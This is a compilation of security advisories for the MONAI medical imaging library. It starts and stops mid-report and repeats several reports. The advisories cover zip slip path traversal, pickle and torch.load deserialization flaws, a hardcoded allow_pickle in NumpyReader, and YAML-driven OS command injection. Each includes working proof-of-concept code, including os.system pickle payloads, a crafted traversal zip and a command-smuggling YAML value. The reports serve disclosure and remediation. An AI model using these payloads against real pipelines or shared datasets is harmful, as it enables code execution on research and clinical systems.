print("SAFE PATTERN (apps/utils.py)")
print("=" * 50)
with tempfile.TemporaryDirectory() as tmpdir:
    safe_extraction("malicious_bundle.zip", tmpdir)

Output:

==================================================
VULNERABLE PATTERN (scripts.py:291-292)
==================================================
[VULNERABLE] Extraction completed without validation
  Extracted: monai_test_bundle/configs/metadata.json
  Extracted: tmp/escaped_file.txt

==================================================
SAFE PATTERN (apps/utils.py)
==================================================
[SAFE] Allowed: monai_test_bundle/configs/metadata.json
[SAFE] BLOCKED: ../../../tmp/escaped_file.txt

Impact

Conditions Required for Exploitation

1. Attacker must control or compromise an NGC private repository
2. Victim must configure MONAI to download from that repository
3. Victim must use source="ngc_private" parameter

Potential Impact

If exploited, an attacker could write files outside the intended extraction directory. The actual impact depends on:

• The permissions of the user running MONAI
• The target location of the escaped files
• Python version (newer versions have some built-in path normalization)

Mitigating Factors

• Requires attacker to control an NGC private repository
• Modern Python versions (3.12+) have some built-in path normalization
• The ngc_private source is less commonly used than other sources

Recommended Fix

Replace the direct extractall() call with MONAI's existing safe extraction:

# monai/bundle/scripts.py

+ from monai.apps.utils import _extract_zip

def _download_from_ngc_private(...):
    # ... existing code ...
    
    extract_path = download_path / f"{filename}"
-   with zipfile.ZipFile(zip_path, "r") as z:
-       z.extractall(extract_path)
-       logger.info(f"Writing into directory: {extract_path}.")
+   _extract_zip(zip_path, extract_path)
+   logger.info(f"Writing into directory: {extract_path}.")

This aligns _download_from_ngc_private() with the other download functions and ensures consistent security across all download sources.

Resources

• CWE-22: Improper Limitation of a Pathname to a Restricted Directory
• Snyk: Zip Slip Vulnerability
• Python zipfile.extractall() Warning

Summary

The algo_from_pickle function in monai/auto3dseg/utils.py causes pickle.loads(data_bytes) to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities.

Details

poc

import pickle
import subprocess
class MaliciousAlgo:
    def __reduce__(self):
        return (subprocess.call, (['calc.exe'],))
malicious_algo_bytes = pickle.dumps(MaliciousAlgo())

attack_data = {
    "algo_bytes": malicious_algo_bytes,  
     
}
attack_pickle_file = "attack_algo.pkl"
with open(attack_pickle_file, "wb") as f:
    f.write(pickle.dumps(attack_data))

Generate the malicious file "attack_algo.pkl" through POC.

from monai.auto3dseg.utils import algo_from_pickle


attack_pickle_file = "attack_algo.pkl"
result = algo_from_pickle(attack_pickle_file)

Ultimately, it will trigger pickle.load through a file to identify the command execution.

Causes of the vulnerability:

def algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -> Any:

    with open(pkl_filename, "rb") as f_pi:
            data_bytes = f_pi.read()
        data = pickle.loads(data_bytes)

Impact

Arbitrary code execution

Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method

To prevent this report from being deemed inapplicable or out of scope, due to the project's unique nature (for medical applications) and widespread popularity (6k+ stars), it's important to pay attention to some of the project's inherent security issues. (This is because medical professionals may not pay enough attention to security issues when using this project, leading to attacks on services or local machines.)

Summary

The pickle_operations function in monai/data/utils.py automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures.

When verified using the following proof-of-concept, arbitrary code execution can occur.

#Poc
from monai.data.utils import pickle_operations  

import pickle  
import subprocess  
  
class MaliciousPayload:  
    def __reduce__(self):    
        return (subprocess.call, (['touch', '/tmp/hacker1.txt'],))  
  
malicious_data = pickle.dumps(MaliciousPayload())

attack_data = {  
    'image': 'normal_image_data',  
    'label_transforms': malicious_data,  
    'metadata_transforms': malicious_data  
}

result = pickle_operations(attack_data, is_encode=False)  

#My /tmp directory contents before running the POC
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid

Before running the command, there was no hacker1.txt content in my /tmp directory, but after running the command, the command was executed, indicating that the attack was successful.

#Running Poc
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  selenium-managersXRcjF  supervisor.sock  supervisord.pid
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python r1.py 
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  hacker1.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid

The above proof-of-concept is merely a validation of the vulnerability. The attacker creates malicious dataset content.

malicious_data = {
  'image': normal_image_tensor,
  'label': normal_label_tensor,
  'preprocessing_transforms': pickle.dumps(MaliciousPayload()), # Malicious payload
  'augmentation_transforms': pickle.dumps(MaliciousPayload()) # Multiple attack points
}

dataset = [malicious_data, ...]

When a user batch-processes data using MONAI's list_data_collate function, the system automatically calls pickle_operations to handle the serialization transformations.

from monai.data import list_data_collate

dataloader = DataLoader(
dataset,
batch_size=4,
collate_fn=list_data_collate # Trigger the vulnerability
)

# Automatically execute malicious code while traversing the data

for batch in dataloader:

# Malicious code is executed in pickle_operations

pass

When a user loads a serialized file from an external, untrusted source, the remote code execution (RCE) is triggered.

Impact

Arbitrary code execution

Repair suggestions

Verify the data source and content before deserializing, or use a safe deserialization method, which should have a similar fix in huggingface's transformer library.

Summary

In model_dict = torch.load(full_path, map_location=torch.device(device), weights_only=True) in monai/bundle/scripts.py , weights_only=True is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints.

This is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from platforms like huggingface.

Loading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution.

The following proof-of-concept demonstrates the issues that arise when loading insecure checkpoints.

import os  
import tempfile  
import json  
import torch  
from pathlib import Path  
  
class MaliciousPayload:  
    def __reduce__(self):  
        return (os.system, ('touch /tmp/hacker2.txt',))  
  
def test_checkpoint_loader_attack():  

      

    temp_dir = Path(tempfile.mkdtemp())  
    checkpoint_file = temp_dir / "malicious_checkpoint.pt"  
      

    malicious_checkpoint = {  
        'model_state_dict': MaliciousPayload(),  
        'optimizer_state_dict': {},  
        'epoch': 100  
    }  
      

    torch.save(malicious_checkpoint, checkpoint_file)  
      
     
    from monai.handlers import CheckpointLoader  
    import torch.nn as nn  
          
 
    model = nn.Linear(10, 1)  
        
    loader = CheckpointLoader(  
        load_path=str(checkpoint_file),  
        load_dict={"model": model}  
    )  
          
    class MockEngine:  
        def __init__(self):  
            self.state = type('State', (), {})()  
            self.state.max_epochs = None  
            self.state.epoch = 0  
          
    engine = MockEngine()  
    loader(engine)  
          
          
    proof_file = "/tmp/hacker2.txt"  
    if os.path.exists(proof_file):  
        print("Succes")  
        #os.remove(proof_file)  
        return True  
    else:  
        print("False")  
        return False  
  
if __name__ == "__main__":   
    success = test_checkpoint_loader_attack()  

Because my test environment is missing some content, an error will be reported during operation, but the operation is still executed.

root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  checkpoint_pwned.txt  hacker1.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid  tmpgjp8145d  tmpi3_u3wn8  tmpjvuhwif6  tmpkocoo34q  tmpp3q8occa
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python p2.py 
Traceback (most recent call last):
  File "/root/autodl-tmp/mmm/p2.py", line 61, in <module>
    success = test_checkpoint_loader_attack()  
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/root/autodl-tmp/mmm/p2.py", line 48, in test_checkpoint_loader_attack
    loader(engine)  
    ^^^^^^^^^^^^^^
  File "/root/miniconda3/lib/python3.12/site-packages/monai/handlers/checkpoint_loader.py", line 146, in __call__
    Checkpoint.load_objects(to_load=self.load_dict, checkpoint=checkpoint, strict=self.strict)
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 624, in load_objects
    _tree_apply2(_load_object, to_load, checkpoint_obj)
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 209, in _tree_apply2
    _tree_apply2(func, _CollectionItem.wrap(x, k, v), y[k])
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 216, in _tree_apply2
    return func(x, y)
           ^^^^^^^^^^
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 613, in _load_object
    obj.load_state_dict(chkpt_obj, **kwargs)
  File "/root/miniconda3/lib/python3.12/site-packages/torch/nn/modules/module.py", line 2581, in load_state_dict
    raise RuntimeError(
RuntimeError: Error(s) in loading state_dict for Linear:
        Missing key(s) in state_dict: "weight", "bias". 
        Unexpected key(s) in state_dict: "model_state_dict", "optimizer_state_dict", "epoch". 
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  checkpoint_pwned.txt  hacker1.txt  hacker2.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid  tmpgjp8145d  tmpi02txakb  tmpi3_u3wn8  tmpjvuhwif6  tmpkocoo34q  tmpp3q8occa

Impact

Leading to arbitrary command execution

Fix suggestion

Use a safe method to load, or force weights_only=True

Summary

The extractall function zip_file.extractall(output_dir) is used directly to process compressed files. It is used in many places in the project. When the Zip file containing malicious content is decompressed, it will overwrite the system files. In addition, the project allows the download of the zip content through the link, which increases the scope of exploitation of this vulnerability.

When reproducing locally, follow the process below to create a malicious zip file and simulate the process of remotely downloading the zip file.

root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# mkdir -p test_bundle
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# echo "malicious content" > test_bundle/malicious.txt 
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# cd test_bundle  
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm/test_bundle# zip -r ../malicious.zip . ../../../../../../etc/passwd
  adding: malicious.txt (stored 0%)
  adding: ../../../../../../etc/passwd (deflated 64%)
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm/test_bundle# cd ..
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls
malicious.zip  p1.py  p2.py  r1.py  test_bundle

Then start the http service through python

root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Another terminal simulates a normal user downloading zip content from the Internet, perhaps from some popular forums or blogs, such as huggingface, etc.

root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python -c "from monai.bundle.scripts import download; download(name='test_bundle', url='http://localhost:8000/malicious.zip', bundle_dir='/tmp/test_extract')"
2025-08-11 20:49:01,668 - INFO - --- input summary of monai.bundle.scripts.download ---
2025-08-11 20:49:01,668 - INFO - > name: 'test_bundle'
2025-08-11 20:49:01,668 - INFO - > bundle_dir: '/tmp/test_extract'
2025-08-11 20:49:01,668 - INFO - > source: 'monaihosting'
2025-08-11 20:49:01,668 - INFO - > url: 'http://localhost:8000/malicious.zip'
2025-08-11 20:49:01,668 - INFO - > remove_prefix: 'monai_'
2025-08-11 20:49:01,668 - INFO - > progress: True
2025-08-11 20:49:01,668 - INFO - ---


test_bundle.zip: 8.00kB [00:00, 204kB/s]
2025-08-11 20:49:01,710 - INFO - Downloaded: /tmp/test_extract/test_bundle.zip
2025-08-11 20:49:01,710 - INFO - Expected md5 is None, skip md5 check for file /tmp/test_extract/test_bundle.zip.
2025-08-11 20:49:01,710 - INFO - Writing into directory: /tmp/test_extract.
2025-08-11 20:49:01,711 - WARNING - metadata file not found in /tmp/test_extract/test_bundle/configs/metadata.json.
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /
autodl-pub  cuda-keyring_1.0-1_all.deb  home  lib32   **malicious.txt**  opt   run   sys  var
bin         dev                         init  lib64   media          proc  sbin  tmp
boot        etc                         lib   libx32  mnt            root  srv   usr

We can see that malicious.txt was indeed extracted to the root directory, demonstrating that the path traversal successfully wrote the malicious file. If the Zip file contains SSH keys, malicious content that automatically loads when the user boots the computer, or overwrites legitimate user files, causing services to become inoperable, these actions could cause extremely serious damage.

Impact

Arbitrary file write

Repair Suggestions

Check the contents of the downloaded Zip file, or use a safer method to load it

Summary

The NumpyReader class in monai/data/image_reader.py unconditionally uses np.load(name, allow_pickle=True) (line 1276), enabling arbitrary code execution when loading a crafted .npy or .npz file. This affects all MONAI versions up to and including the latest commit (5b71547). The allow_pickle parameter is hardcoded to True and cannot be overridden by the user (the docstring explicitly states kwargs are accepted "except allow_pickle").

Details

Vulnerable code (permalink):

# monai/data/image_reader.py, line 1276, in NumpyReader.read()
img = np.load(name, allow_pickle=True, **kwargs_)

The NumpyReader is automatically selected by MONAI's LoadImage transform for any file with .npy or .npz extension (see monai/transforms/io/array.py line 68: "numpyreader": NumpyReader). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable.

The allow_pickle=True parameter enables Python's pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the __reduce__ method.

Compare with safe practices in the same project:

The MONAI project has already addressed similar deserialization issues in other code paths:

• torch.load calls now use weights_only=True (after GHSA-6vm5-6jv9-rjpj)
• PersistentDataset defaults to weights_only=True (line 272-275 of dataset.py)

However, NumpyReader was not included in these security improvements.

Additionally, the NPZDataset class in the same project correctly uses the default allow_pickle=False (permalink):

# monai/data/dataset.py, line 1433 — safe usage
dat = np.load(npzfile)  # allow_pickle defaults to False

This inconsistency shows that NumpyReader was overlooked during security hardening.

The user cannot override this behavior:

# monai/data/image_reader.py, line 1233 (docstring)
# kwargs: additional args for `numpy.load` API except `allow_pickle`.

The hardcoded allow_pickle=True on line 1276 overrides any user attempt to set it via kwargs.

Data flow:

1. User creates a data pipeline with LoadImage transform or uses any MONAI dataset class
2. A .npy or .npz file is provided as input (e.g., as part of a shared medical dataset)
3. LoadImage selects NumpyReader based on file extension
4. NumpyReader.read() calls np.load(name, allow_pickle=True)
5. Malicious pickle payload in the .npy file executes arbitrary code

PoC

#!/usr/bin/env python3
"""PoC: RCE via NumpyReader allow_pickle=True in MONAI"""
import os
import tempfile
import numpy as np

class MaliciousPayload:
    def __reduce__(self):
        return (os.system, ('echo "MONAI NumpyReader RCE - Code executed" > /tmp/monai_rce_proof.txt',))

tmpdir = tempfile.mkdtemp(prefix="monai_poc_")
malicious_npy = os.path.join(tmpdir, "malicious_mask.npy")
np.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True)

# With MONAI installed:
from monai.data.image_reader import NumpyReader
reader = NumpyReader()
data = reader.read(malicious_npy)

# Verify RCE
proof = "/tmp/monai_rce_proof.txt"
if os.path.exists(proof):
    print(f"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}")
    os.remove(proof)

os.remove(malicious_npy)
os.rmdir(tmpdir)

Output:

[!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed

Impact

An attacker can achieve arbitrary code execution on any machine running MONAI by:

1. Dataset poisoning: Placing a malicious .npy file in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard pipeline, arbitrary code executes.

2. Supply chain attack: Contributing a malicious .npy file to a MONAI tutorial, example, or bundle that other users download and run.

3. Lateral movement in medical environments: In hospital/research settings where MONAI processes shared data, an attacker with access to the data directory can achieve code execution on the processing server.

This is particularly severe in medical/healthcare contexts where MONAI is deployed, as it could lead to compromise of systems handling protected health information (PHI).

Comment from JPCERT/CC

We are submitting the report again as we have yet to receive any responses from you after submitting it on February 5 and March 11.

It would be greatly appreciated if you could send us a message after confirming it so that we can follow up the case by email.

Summary

MONAI vulnerable to OS command injection.

Details

This library concatenates user-controlled values (YAML's "dataset_name_or_id" or part of "CLI/kwargs") without quoting or validation. Since this string is passed to subprocess with shell=True, shell metacharacters (e.g., Windows: & / Linux: ;) are interpreted.

As a result, arbitrary commands can be concatenated and executed. Therefore, the reporter identifies this as CWE-78 (OS Command Injection).

The victim needs to load a crafted YAML file in the code that launches training/validation jobs based on the configuration (YAML/arguments). There are no other constraints.

PoC

Verified on Windows. Load a modified YAML file with crafted "dataset_name_or_id" as follows. Add command separator characters (such as & or ;) and insert arbitrary commands.

dataset_name_or_id: '4 & echo "This is exploited" > "C:\Users\shima\OneDrive\Desktop\tmp\test.txt" & rem' dataroot: C:/Users/shima/OneDrive/Desktop/tmp/data datalist: C:/Users/shima/OneDrive/Desktop/tmp/lists/task4.json work_dir: C:/Users/shima/OneDrive/Desktop/tmp/work nnunet_raw: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_raw nnunet_preprocessed: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_preprocessed nnunet_results: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_results

As a victim, verify running the following Python code to load and process the YAML file.

from monai.apps.nnunet.nnunetv2_runner import nnUNetV2Runner from pathlib import Path #Path of the crafted YAML file YAML = r"C:\Users\shima\OneDrive\Desktop\tmp\test.yaml" #Text file overwritten when command executes OUT = Path(r"C:\Users\shima\OneDrive\Desktop\tmp\test.txt") #Read YAML runner = nnUNetV2Runner(input_config=YAML, trainer_class_name="nnUNetTrainer") runner.train_single_model(config="3d_fullres", fold=0, gpu_id=0) #Verify command execution print("Result:", OUT.read_text(encoding="utf-8").strip())

Also, see the attached file. JVN#50379904-details.zip

Summary

GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in algo_from_pickle() was fixed in v1.5.2. However, monai/auto3dseg/utils.py has not been modified since 2024-07-12 — 18 months before v1.5.2 was released (2026-01-29). All three pickle.loads() calls remain unchanged. The fix was never implemented.

Vulnerable Code

File: monai/auto3dseg/utils.py (last commit: 2024-07-12, unchanged in v1.5.2)

def algo_from_pickle(pkl_filename: str, ...):
    with open(pkl_filename, "rb") as f_pi:
        data_bytes = f_pi.read()
    data = pickle.loads(data_bytes)          # SINK 1 — line 321, RCE fires here

    # isinstance/key checks happen AFTER deserialization — already too late

    algo_bytes = data.pop("algo_bytes")
    ...
    if len(template_paths_candidates) == 0:
        algo = pickle.loads(algo_bytes)      # SINK 2 — line 350
    else:
        for p in template_paths_candidates:
            algo = pickle.loads(algo_bytes)  # SINK 3 — line 356

No Unpickler subclass, no find_class restriction, no allowlist.

Why the Fix is Incomplete

- monai/auto3dseg/utils.py last commit: 2024-07-12 ("drop python 3.8")
- v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes
- v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356
- GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch

PoC

import pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, ('id > /tmp/rce_proof.txt',))

# Craft malicious pkl
data = {"algo_bytes": pickle.dumps(Exploit()), "template_path": None}
with open("/tmp/evil.pkl", "wb") as f:
    f.write(pickle.dumps(data))

# Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim
with open("/tmp/evil.pkl", "rb") as f:
    data = pickle.loads(f.read())        # SINK 1 fires — RCE here
algo = pickle.loads(data["algo_bytes"])  # SINK 2 fires

print(open("/tmp/rce_proof.txt").read())
# uid=1000(user) gid=1000(user) groups=...

Verified on monai v1.5.2 (utils.py verbatim source):
[+] RCE CONFIRMED via algo_from_pickle():
    desktop-5657tb1\woong

Impact

Any application or ML pipeline calling algo_from_pickle() with an
attacker-supplied file path is vulnerable to full RCE. Medical AI workflows
frequently exchange model checkpoints, making this a realistic attack vector.

Summary

A Path Traversal (Zip Slip) vulnerability exists in MONAI's _download_from_ngc_private() function. The function uses zipfile.ZipFile.extractall() without path validation, while other similar download functions in the same codebase properly use the existing safe_extract_member() function.

This appears to be an implementation oversight, as safe extraction is already implemented and used elsewhere in MONAI.

CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)

Details

Vulnerable Code Location

File: monai/bundle/scripts.py
Lines: 291-292
Function: _download_from_ngc_private()

# monai/bundle/scripts.py - Lines 284-293
zip_path = download_path / f"{filename}_v{version}.zip"
with open(zip_path, "wb") as f:
    f.write(response.content)
logger.info(f"Downloading: {zip_path}.")
if remove_prefix:
    filename = _remove_ngc_prefix(filename, prefix=remove_prefix)
extract_path = download_path / f"{filename}"
with zipfile.ZipFile(zip_path, "r") as z:
    z.extractall(extract_path)  # <-- No path validation
    logger.info(f"Writing into directory: {extract_path}.")

Root Cause

The code calls z.extractall(extract_path) directly without validating that archive member paths stay within the extraction directory.

Safe Code Already Exists

MONAI already has a safe extraction function in monai/apps/utils.py (lines 125-154) that properly validates paths:

def safe_extract_member(member, extract_to):
    """Securely verify compressed package member paths to prevent path traversal attacks"""
    # ... path validation logic ...
    
    if os.path.isabs(member_path) or ".." in member_path.split(os.sep):
        raise ValueError(f"Unsafe path detected in archive: {member_path}")
    
    # Ensure path stays within extraction root
    if os.path.commonpath([extract_root, target_real]) != extract_root:
        raise ValueError(f"Unsafe path: path traversal {member_path}")

Comparison with Other Download Functions

| Function | File | Uses Safe Extraction? | |----------|------|----------------------| | _download_from_github() | scripts.py:198 | ✅ Yes (via extractall() wrapper) | | _download_from_monaihosting() | scripts.py:205 | ✅ Yes (via extractall() wrapper) | | _download_from_bundle_info() | scripts.py:215 | ✅ Yes (via extractall() wrapper) | | _download_from_ngc_private() | scripts.py:292 | ❌ No (direct z.extractall()) |

PoC

Step 1: Create a Malicious Zip File

#!/usr/bin/env python3
"""Create malicious zip with path traversal entries"""
import zipfile
import io

def create_malicious_zip(output_path="malicious_bundle.zip"):
    zip_buffer = io.BytesIO()
    
    with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
        # Normal bundle file
        zf.writestr(
            "monai_test_bundle/configs/metadata.json",
            '{"name": "test_bundle", "version": "1.0.0"}'
        )
        
        # Path traversal entry
        zf.writestr(
            "../../../tmp/escaped_file.txt",
            "This file was written outside the extraction directory.\n"
        )
    
    with open(output_path, 'wb') as f:
        f.write(zip_buffer.getvalue())
    
    print(f"Created: {output_path}")
    with zipfile.ZipFile(output_path, 'r') as zf:
        print("Contents:")
        for name in zf.namelist():
            print(f"  - {name}")

if __name__ == "__main__":
    create_malicious_zip()

Output:

Created: malicious_bundle.zip
Contents:
  - monai_test_bundle/configs/metadata.json
  - ../../../tmp/escaped_file.txt

Step 2: Demonstrate the Difference

This script shows the difference between the vulnerable pattern (used in _download_from_ngc_private) and the safe pattern (used elsewhere in MONAI):

#!/usr/bin/env python3
"""Compare vulnerable vs safe extraction"""
import zipfile
import tempfile
import os

def vulnerable_extraction(zip_path, extract_path):
    """Pattern used in monai/bundle/scripts.py:291-292"""
    os.makedirs(extract_path, exist_ok=True)
    with zipfile.ZipFile(zip_path, "r") as z:
        z.extractall(extract_path)
    print("[VULNERABLE] Extraction completed without validation")

def safe_extraction(zip_path, extract_path):
    """Pattern used in monai/apps/utils.py"""
    os.makedirs(extract_path, exist_ok=True)
    with zipfile.ZipFile(zip_path, "r") as zf:
        for member in zf.infolist():
            member_path = os.path.normpath(member.filename)
            
            # Check for path traversal
            if os.path.isabs(member_path) or ".." in member_path.split(os.sep):
                print(f"[SAFE] BLOCKED: {member.filename}")
                continue
            
            print(f"[SAFE] Allowed: {member.filename}")

# Run demo
print("=" * 50)
print("VULNERABLE PATTERN (scripts.py:291-292)")
print("=" * 50)
with tempfile.TemporaryDirectory() as tmpdir:
    vulnerable_extraction("malicious_bundle.zip", tmpdir)
    for root, dirs, files in os.walk(tmpdir):
        for f in files:
            rel_path = os.path.relpath(os.path.join(root, f), tmpdir)
            print(f"  Extracted: {rel_path}")

print()
print("=" * 50)
print("SAFE PATTERN (apps/utils.py)")
print("=" * 50)
with tempfile.TemporaryDirectory() as tmpdir:
    safe_extraction("malicious_bundle.zip", tmpdir)

Output:

==================================================
VULNERABLE PATTERN (scripts.py:291-292)
==================================================
[VULNERABLE] Extraction completed without validation
  Extracted: monai_test_bundle/configs/metadata.json
  Extracted: tmp/escaped_file.txt

==================================================
SAFE PATTERN (apps/utils.py)
==================================================
[SAFE] Allowed: monai_test_bundle/configs/metadata.json
[SAFE] BLOCKED: ../../../tmp/escaped_file.txt

Impact

Conditions Required for Exploitation

1. Attacker must control or compromise an NGC private repository
2. Victim must configure MONAI to download from that repository
3. Victim must use source="ngc_private" parameter

Potential Impact

If exploited, an attacker could write files outside the intended extraction directory. The actual impact depends on:

• The permissions of the user running MONAI
• The target location of the escaped files
• Python version (newer versions have some built-in path normalization)

Mitigating Factors

• Requires attacker to control an NGC private repository
• Modern Python versions (3.12+) have some built-in path normalization
• The ngc_private source is less commonly used than other sources

Recommended Fix

Replace the direct extractall() call with MONAI's existing safe extraction:

# monai/bundle/scripts.py

+ from monai.apps.utils import _extract_zip

def _download_from_ngc_private(...):
    # ... existing code ...
    
    extract_path = download_path / f"{filename}"
-   with zipfile.ZipFile(zip_path, "r") as z:
-       z.extractall(extract_path)
-       logger.info(f"Writing into directory: {extract_path}.")
+   _extract_zip(zip_path, extract_path)
+   logger.info(f"Writing into directory: {extract_path}.")

This aligns _download_from_ngc_private() with the other download functions and ensures consistent security across all download sources.

Resources

• CWE-22: Improper Limitation of a Pathname to a Restricted Directory
• Snyk: Zip Slip Vulnerability
• Python zipfile.extractall() Warning

Summary

The algo_from_pickle function in monai/auto3dseg/utils.py causes pickle.loads(data_bytes) to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities.

Details

poc

import pickle
import subprocess
class MaliciousAlgo:
    def __reduce__(self):
        return (subprocess.call, (['calc.exe'],))
malicious_algo_bytes = pickle.dumps(MaliciousAlgo())

attack_data = {
    "algo_bytes": malicious_algo_bytes,  
     
}
attack_pickle_file = "attack_algo.pkl"
with open(attack_pickle_file, "wb") as f:
    f.write(pickle.dumps(attack_data))

Generate the malicious file "attack_algo.pkl" through POC.

from monai.auto3dseg.utils import algo_from_pickle


attack_pickle_file = "attack_algo.pkl"
result = algo_from_pickle(attack_pickle_file)

Ultimately, it will trigger pickle.load through a file to identify the command execution.

Causes of the vulnerability:

def algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -> Any:

    with open(pkl_filename, "rb") as f_pi:
            data_bytes = f_pi.read()
        data = pickle.loads(data_bytes)

Impact

Arbitrary code execution

Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method

To prevent this report from being deemed inapplicable or out of scope, due to the project's unique nature (for medical applications) and widespread popularity (6k+ stars), it's important to pay attention to some of the project's inherent security issues. (This is because medical professionals may not pay enough attention to security issues when using this project, leading to attacks on services or local machines.)

Summary

The pickle_operations function in monai/data/utils.py automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures.

When verified using the following proof-of-concept, arbitrary code execution can occur.

#Poc
from monai.data.utils import pickle_operations  

import pickle  
import subprocess  
  
class MaliciousPayload:  
    def __reduce__(self):    
        return (subprocess.call, (['touch', '/tmp/hacker1.txt'],))  
  
malicious_data = pickle.dumps(MaliciousPayload())

attack_data = {  
    'image': 'normal_image_data',  
    'label_transforms': malicious_data,  
    'metadata_transforms': malicious_data  
}

result = pickle_operations(attack_data, is_encode=False)  

#My /tmp directory contents before running the POC
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid

Before running the command, there was no hacker1.txt content in my /tmp directory, but after running the command, the command was executed, indicating that the attack was successful.

#Running Poc
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  selenium-managersXRcjF  supervisor.sock  supervisord.pid
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python r1.py 
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  hacker1.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid

The above proof-of-concept is merely a validation of the vulnerability. The attacker creates malicious dataset content.

malicious_data = {
  'image': normal_image_tensor,
  'label': normal_label_tensor,
  'preprocessing_transforms': pickle.dumps(MaliciousPayload()), # Malicious payload
  'augmentation_transforms': pickle.dumps(MaliciousPayload()) # Multiple attack points
}

dataset = [malicious_data, ...]

When a user batch-processes data using MONAI's list_data_collate function, the system automatically calls pickle_operations to handle the serialization transformations.

from monai.data import list_data_collate

dataloader = DataLoader(
dataset,
batch_size=4,
collate_fn=list_data_collate # Trigger the vulnerability
)

# Automatically execute malicious code while traversing the data

for batch in dataloader:

# Malicious code is executed in pickle_operations

pass

When a user loads a serialized file from an external, untrusted source, the remote code execution (RCE) is triggered.

Impact

Arbitrary code execution

Repair suggestions

Verify the data source and content before deserializing, or use a safe deserialization method, which should have a similar fix in huggingface's transformer library.

Summary

In model_dict = torch.load(full_path, map_location=torch.device(device), weights_only=True) in monai/bundle/scripts.py , weights_only=True is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints.

This is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from platforms like huggingface.

Loading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution.

The following proof-of-concept demonstrates the issues that arise when loading insecure checkpoints.

import os  
import tempfile  
import json  
import torch  
from pathlib import Path  
  
class MaliciousPayload:  
    def __reduce__(self):  
        return (os.system, ('touch /tmp/hacker2.txt',))  
  
def test_checkpoint_loader_attack():  

      

    temp_dir = Path(tempfile.mkdtemp())  
    checkpoint_file = temp_dir / "malicious_checkpoint.pt"  
      

    malicious_checkpoint = {  
        'model_state_dict': MaliciousPayload(),  
        'optimizer_state_dict': {},  
        'epoch': 100  
    }  
      

    torch.save(malicious_checkpoint, checkpoint_file)  
      
     
    from monai.handlers import CheckpointLoader  
    import torch.nn as nn  
          
 
    model = nn.Linear(10, 1)  
        
    loader = CheckpointLoader(  
